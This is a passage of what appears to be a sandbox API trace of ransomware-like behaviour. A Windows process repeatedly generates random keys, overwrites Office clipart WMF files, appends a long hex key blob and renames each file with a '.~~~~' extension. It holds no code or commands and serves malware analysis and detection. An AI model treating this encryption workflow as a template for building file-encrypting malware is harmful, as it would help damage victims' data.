	[0110.396] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.396] CloseHandle (hObject=0x140) returned 1
	[0110.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.396] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf.~~~~")) returned 1
	[0110.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.397] GetLastError () returned 0x0
	[0110.397] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.399] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.399] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.399] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.399] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23038894835) returned 1
	[0110.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab6a1c10, dwHighDateTime=0x1d60e1e)) 
	[0110.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808e90
	[0110.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.399] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808e90 | out: hHeap=0x300000) returned 1
	[0110.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.399] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282b548
	[0110.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.400] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.400] GetLastError () returned 0x0
	[0110.400] GetLastError () returned 0x0
	[0110.400] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.400] GetLastError () returned 0x0
	[0110.400] GetLastError () returned 0x0
	[0110.404] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffea50, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.404] WriteFile (in: hFile=0x140, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x15b0, lpOverlapped=0x0) returned 1
	[0110.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0110.405] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.406] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.406] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.406] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.406] CloseHandle (hObject=0x140) returned 1
	[0110.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.406] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf.~~~~")) returned 1
	[0110.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.407] GetLastError () returned 0x0
	[0110.407] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.409] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.409] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.409] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23039924939) returned 1
	[0110.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab6a1c10, dwHighDateTime=0x1d60e1e)) 
	[0110.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808ec8
	[0110.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808ec8 | out: hHeap=0x300000) returned 1
	[0110.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282bc68
	[0110.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.410] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.410] GetLastError () returned 0x0
	[0110.411] GetLastError () returned 0x0
	[0110.411] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.411] GetLastError () returned 0x0
	[0110.411] GetLastError () returned 0x0
	[0110.414] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe7a8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.414] WriteFile (in: hFile=0x140, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x1858, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x1858, lpOverlapped=0x0) returned 1
	[0110.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0110.415] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.415] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.415] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.415] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.415] CloseHandle (hObject=0x140) returned 1
	[0110.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.415] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf.~~~~")) returned 1
	[0110.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.416] GetLastError () returned 0x0
	[0110.418] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.419] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.419] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.419] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23040930296) returned 1
	[0110.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab6c7d70, dwHighDateTime=0x1d60e1e)) 
	[0110.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808f00
	[0110.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808f00 | out: hHeap=0x300000) returned 1
	[0110.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282bd00
	[0110.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.420] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.420] GetLastError () returned 0x0
	[0110.420] GetLastError () returned 0x0
	[0110.420] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.420] GetLastError () returned 0x0
	[0110.421] GetLastError () returned 0x0
	[0110.424] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe38c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.424] WriteFile (in: hFile=0x140, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x1c74, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x1c74, lpOverlapped=0x0) returned 1
	[0110.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0110.426] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.426] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.434] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.434] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.434] CloseHandle (hObject=0x140) returned 1
	[0110.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c2bf8
	[0110.442] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf.~~~~")) returned 1
	[0110.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.443] GetLastError () returned 0x0
	[0110.444] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.445] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.445] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.445] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23043519681) returned 1
	[0110.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab714030, dwHighDateTime=0x1d60e1e)) 
	[0110.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808f38
	[0110.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808f38 | out: hHeap=0x300000) returned 1
	[0110.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c2bf8
	[0110.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282bd98
	[0110.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.446] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.446] GetLastError () returned 0x0
	[0110.446] GetLastError () returned 0x0
	[0110.446] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.446] GetLastError () returned 0x0
	[0110.446] GetLastError () returned 0x0
	[0110.448] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe96c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.448] WriteFile (in: hFile=0x144, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1694, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x1694, lpOverlapped=0x0) returned 1
	[0110.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.449] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.449] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.449] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.449] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.449] CloseHandle (hObject=0x144) returned 1
	[0110.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c2ca0
	[0110.450] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf.~~~~")) returned 1
	[0110.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2ca0 | out: hHeap=0x300000) returned 1
	[0110.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.450] GetLastError () returned 0x0
	[0110.451] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.452] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.452] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.452] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23044193821) returned 1
	[0110.452] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab714030, dwHighDateTime=0x1d60e1e)) 
	[0110.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808f70
	[0110.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808f70 | out: hHeap=0x300000) returned 1
	[0110.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c2ca0
	[0110.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282be30
	[0110.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2ca0 | out: hHeap=0x300000) returned 1
	[0110.452] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.453] GetLastError () returned 0x0
	[0110.453] GetLastError () returned 0x0
	[0110.453] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.453] GetLastError () returned 0x0
	[0110.453] GetLastError () returned 0x0
	[0110.457] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff5fc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.457] WriteFile (in: hFile=0x144, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xa04, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0xa04, lpOverlapped=0x0) returned 1
	[0110.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.458] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.458] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
